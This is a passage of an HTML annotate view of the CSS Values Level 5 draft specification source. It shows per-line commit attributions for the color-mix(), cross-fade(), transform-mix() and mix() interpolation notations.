class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l344" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1087" id="l1087"> 1087</a> </td> <td class="source"> This specification extends the ''color-mix()'' [=functional notation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l345" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1088" id="l1088"> 1088</a> </td> <td class="source"> as a [=mix notation=] accepting the following syntaxes: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l346" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1089" id="l1089"> 1089</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l347" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1090" id="l1090"> 1090</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l348" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1091" id="l1091"> 1091</a> </td> <td class="source"> <<color-mix()>> = </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5e73e408451c/css-values-5/Overview.bs#l800" title="5e73e408451c: [css-values-5] Group the first arg together in color-mix(). #10867">jackalmage@31589</a> </td> <td class="lineno"> <a href="#l1092" id="l1092"> 1092</a> </td> <td class="source"> color-mix( [ <<progress>> && <<color-interpolation-method>>? ] , <<color>>, <<color>> ) | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l350" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l1093" id="l1093"> 1093</a> </td> <td class="source"> color-mix( <<color-interpolation-method>>, [<<color>> && <<percentage [0,100]>>?]#{2} ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l351" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1094" id="l1094"> 1094</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l352" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1095" id="l1095"> 1095</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l353" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1096" id="l1096"> 1096</a> </td> <td class="source"> The used value of the first [=mix notation=] variant </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l412" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1097" id="l1097"> 1097</a> </td> <td class="source"> is equivalent to assigning the <<progress>> value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l413" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1098" id="l1098"> 1098</a> </td> <td class="source"> as a <<percentage>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/501f84ebe171/css-values-5/Overview.bs#l414" title="501f84ebe171: [css-values-5] Correct the translation of a progress between the two color-mix and cross-fade variants.">jackalmage@30989</a> </td> <td class="lineno"> <a href="#l1099" id="l1099"> 1099</a> </td> <td class="source"> to the <<percentage>> of the second <<color>> argument in the second variant. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/501f84ebe171/css-values-5/Overview.bs#l415" title="501f84ebe171: [css-values-5] Correct the translation of a progress between the two color-mix and cross-fade variants.">jackalmage@30989</a> </td> <td class="lineno"> <a href="#l1100" id="l1100"> 1100</a> </td> <td class="source"> <span class=note>That is, ''color-mix(progress, color1, color2)'' is equivalent to ''color-mix(color1, color2 progress)''.</span> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l356" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1101" id="l1101"> 1101</a> </td> <td class="source"> See [[css-color-5#color-mix]] for the normative definition of the second variant. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l357" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1102" id="l1102"> 1102</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l358" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1103" id="l1103"> 1103</a> </td> <td class="source"> ISSUE: <<progress>> allows returning percentages outside 0-100%, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l359" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1104" id="l1104"> 1104</a> </td> <td class="source"> but ''color-mix()'' doesn't allows such values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l360" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1105" id="l1105"> 1105</a> </td> <td class="source"> so need to define how that gets processed. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l361" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1106" id="l1106"> 1106</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l362" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1107" id="l1107"> 1107</a> </td> <td class="source"><h3 id="cross-fade"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l363" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1108" id="l1108"> 1108</a> </td> <td class="source">Interpolated Image Values: the ''cross-fade()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l364" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1109" id="l1109"> 1109</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l365" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1110" id="l1110"> 1110</a> </td> <td class="source"> This specification extends the ''cross-fade()'' [=functional notation=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l366" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1111" id="l1111"> 1111</a> </td> <td class="source"> as a [=mix notation=] accepting the following syntaxes: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l367" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1112" id="l1112"> 1112</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l368" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1113" id="l1113"> 1113</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l369" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1114" id="l1114"> 1114</a> </td> <td class="source"> <<cross-fade()>> = </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l370" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1115" id="l1115"> 1115</a> </td> <td class="source"> cross-fade( <<progress>>, [ <<image>> | <<color>> ], [ <<image>> | <<color>> ] ) | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l371" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1116" id="l1116"> 1116</a> </td> <td class="source"> cross-fade( <<cf-image>># ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l372" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1117" id="l1117"> 1117</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l373" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1118" id="l1118"> 1118</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l374" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1119" id="l1119"> 1119</a> </td> <td class="source"> The used value of the first [=mix notation=] variant </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l375" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1120" id="l1120"> 1120</a> </td> <td class="source"> is equivalent to assigning the <<progress>> value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/501f84ebe171/css-values-5/Overview.bs#l436" title="501f84ebe171: [css-values-5] Correct the translation of a progress between the two color-mix and cross-fade variants.">jackalmage@30989</a> </td> <td class="lineno"> <a href="#l1121" id="l1121"> 1121</a> </td> <td class="source"> as the <<percentage>> of the second <<color>> argument in the second variant. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/501f84ebe171/css-values-5/Overview.bs#l437" title="501f84ebe171: [css-values-5] Correct the translation of a progress between the two color-mix and cross-fade variants.">jackalmage@30989</a> </td> <td class="lineno"> <a href="#l1122" id="l1122"> 1122</a> </td> <td class="source"> <span class=note>That is, ''cross-fade(progress, image1, image2)'' is equivalent to ''cross-fade(image1, image2 progress)''.</span> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l377" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1123" id="l1123"> 1123</a> </td> <td class="source"> See [[css-images-4#cross-fade-function]] for the normative definition of the second variant. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l378" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1124" id="l1124"> 1124</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l379" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1125" id="l1125"> 1125</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l380" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1126" id="l1126"> 1126</a> </td> <td class="source"><h3 id="transform-mix"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l381" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1127" id="l1127"> 1127</a> </td> <td class="source">Interpolated Transform Values: the ''transform-mix()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l382" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1128" id="l1128"> 1128</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l383" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1129" id="l1129"> 1129</a> </td> <td class="source"> The <dfn>transform-mix()</dfn> [=mix notation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l384" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1130" id="l1130"> 1130</a> </td> <td class="source"> represents an interpolated <<transform-list>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l385" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1131" id="l1131"> 1131</a> </td> <td class="source"> with the following syntactic form: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l386" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1132" id="l1132"> 1132</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l387" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1133" id="l1133"> 1133</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l388" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1134" id="l1134"> 1134</a> </td> <td class="source"> <dfn><<transform-mix()>></dfn> = transform-mix( <<progress>>, <<transform-list>>, <<transform-list>> ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l389" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1135" id="l1135"> 1135</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l390" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1136" id="l1136"> 1136</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l391" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1137" id="l1137"> 1137</a> </td> <td class="source"> The [=used value=] of a valid ''transform-mix()'' is </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l392" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1138" id="l1138"> 1138</a> </td> <td class="source"> the result of interpolating these two values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l393" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1139" id="l1139"> 1139</a> </td> <td class="source"> to the progress given by <<progress>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l394" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1140" id="l1140"> 1140</a> </td> <td class="source"> If the <<progress>> value can be computed to a <<percentage>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l395" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1141" id="l1141"> 1141</a> </td> <td class="source"> and the <<transform-list>>s can be interpolated </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l396" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1142" id="l1142"> 1142</a> </td> <td class="source"> without used-value-time information, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l397" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1143" id="l1143"> 1143</a> </td> <td class="source"> then the [=computed value=] is likewise </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l398" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1144" id="l1144"> 1144</a> </td> <td class="source"> the result of interpolating the two [=computed values=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l399" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1145" id="l1145"> 1145</a> </td> <td class="source"> to that <<progress>> value; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l400" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1146" id="l1146"> 1146</a> </td> <td class="source"> it is otherwise the ''transform-mix()'' notation itself </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l401" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1147" id="l1147"> 1147</a> </td> <td class="source"> with its arguments each computed according to their type. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l402" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1148" id="l1148"> 1148</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l403" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1149" id="l1149"> 1149</a> </td> <td class="source"> ''transform-mix()'' is, itself, a <<transform-function>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e9b1074433b0/css-values-5/Overview.bs#l404" title="e9b1074433b0: [css-values-5] Add transform-mix()">jackalmage@30484</a> </td> <td class="lineno"> <a href="#l1150" id="l1150"> 1150</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l379" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1151" id="l1151"> 1151</a> </td> <td class="source"><h3 id="mix"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l380" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1152" id="l1152"> 1152</a> </td> <td class="source">Interpolated Property Values: the ''mix()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l381" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1153" id="l1153"> 1153</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l382" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1154" id="l1154"> 1154</a> </td> <td class="source"> [=Interpolation=] of any two property values can be represented </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l383" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1155" id="l1155"> 1155</a> </td> <td class="source"> by the <dfn>mix()</dfn> [=mix notation=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l384" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1156" id="l1156"> 1156</a> </td> <td class="source"> which supports two alternative syntax patterns: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l385" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1157" id="l1157"> 1157</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l386" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1158" id="l1158"> 1158</a> </td> <td class="source"> <pre class="prod"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l387" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1159" id="l1159"> 1159</a> </td> <td class="source"> <dfn><<mix()>></dfn> = </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l603" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1160" id="l1160"> 1160</a> </td> <td class="source"> mix( <<progress>> , <<whole-value>> , <<whole-value>> ) | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f3035e8ecd54/css-values-5/Overview.bs#l1148" title="f3035e8ecd54: [css-values-5] mix() should be restricted to <keyframes-name> #11121">fantasai@31760</a> </td> <td class="lineno"> <a href="#l1161" id="l1161"> 1161</a> </td> <td class="source"> mix( <<progress>> && of <<keyframes-name>> ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l390" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1162" id="l1162"> 1162</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l391" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1163" id="l1163"> 1163</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l392" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1164" id="l1164"> 1164</a> </td> <td class="source"> The first syntax alternative, like other [=mix notations=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/550264e20f2b/css-values-5/Overview.bs#l420" title="550264e20f2b: [css-values-5][editorial] Fix some lingering <declaration-value> references. #9341">jackalmage@30490</a> </td> <td class="lineno"> <a href="#l1165" id="l1165"> 1165</a> </td> <td class="source"> interpolates between the first <<whole-value>> (its [=mix start value=]) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/550264e20f2b/css-values-5/Overview.bs#l421" title="550264e20f2b: [css-values-5][editorial] Fix some lingering <declaration-value> references. #9341">jackalmage@30490</a> </td> <td class="lineno"> <a href="#l1166" id="l1166"> 1166</a> </td> <td class="source"> and the second <<whole-value>> (its [=mix end value=]). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l395" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1167" id="l1167"> 1167</a> </td> <td class="source"> The second uses the [=mix progress value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l396" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1168" id="l1168"> 1168</a> </td> <td class="source"> to interpolate the corresponding property declarations from a set of keyframes, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l397" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1169" id="l1169"> 1169</a> </td> <td class="source"> allowing for more complex interpolation curves. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l398" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1170" id="l1170"> 1170</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l403" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1171" id="l1171"> 1171</a> </td> <td class="source"> For the standard [=mix notation=] variant, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/550264e20f2b/css-values-5/Overview.bs#l431" title="550264e20f2b: [css-values-5][editorial] Fix some lingering <declaration-value> references. #9341">jackalmage@30490</a> </td> <td class="lineno"> <a href="#l1172" id="l1172"> 1172</a> </td> <td class="source"> if the two <<whole-value>>s being interpolated by ''mix()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l405" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1173" id="l1173"> 1173</a> </td> <td class="source"> are [=interpolation|interpolable=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l406" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1174" id="l1174"> 1174</a> </td> <td class="source"> as values for the property in which it is specified, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l407" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1175" id="l1175"> 1175</a> </td> <td class="source"> and the interpolated value can be represented without ''mix()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a 